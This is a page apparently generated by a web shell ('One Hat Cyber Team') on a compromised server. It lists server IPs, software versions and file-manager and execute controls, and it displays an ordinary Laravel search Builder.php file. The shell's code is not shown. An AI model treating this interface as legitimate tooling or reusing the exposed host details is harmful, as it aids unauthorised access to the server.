⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.101
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Server Software:
Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
ebook.dev-unit.com
/
Modules
/
Base
/
Search
/
View File Name :
Builder.php
<?php namespace Modules\Base\Search; class Builder { /** * The model instance. * * @var \Illuminate\Database\Eloquent\Model */ private $model; /** * The scout builder instance. * * @var \Laravel\Scout\Builder */ private $scoutBuilder; /** * Keys of search results. * * @var array */ private $keys = []; /** * Create a new instance. * * @param \Illuminate\Database\Eloquent\Model $model * @param \Laravel\Scout\Builder $scoutBuilder * @return void */ public function __construct($model, $scoutBuilder) { $this->model = $model; $this->scoutBuilder = $scoutBuilder; } /** * Apply filter to the search results. * * @return mixed */ public function filter($filter) { return $filter->apply($this->query()); } /** * Get the query builder of the model. * * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $query = $this->model->whereIn($this->model->getQualifiedKeyName(), $this->keys()); if ($this->shouldOrderByRelevance()) { $this->orderByRelevance($query); } return $query; } /** * Get keys of search result. * * @return array */ public function keys() { if (empty($this->keys)) { $this->keys = $this->scoutBuilder->keys()->all(); } return $this->keys; } /** * Determine if query should order by relevance. * * @return bool */ private function shouldOrderByRelevance() { return ! request()->has('sort') || request('sort') === 'relevance'; } /** * Order query by relevance. * * @param \Illuminate\Database\Query\Builder $query * @return void */ private function orderByRelevance($query) { $ids = implode(',', $this->keys()); if (! empty($ids)) { $query->orderByRaw("FIELD({$this->model->getQualifiedKeyName()}, {$ids})"); } } /** * Get the results of the search. * * @return \Illuminate\Database\Eloquent\Collection */ public function get() { return $this->query()->get(); } }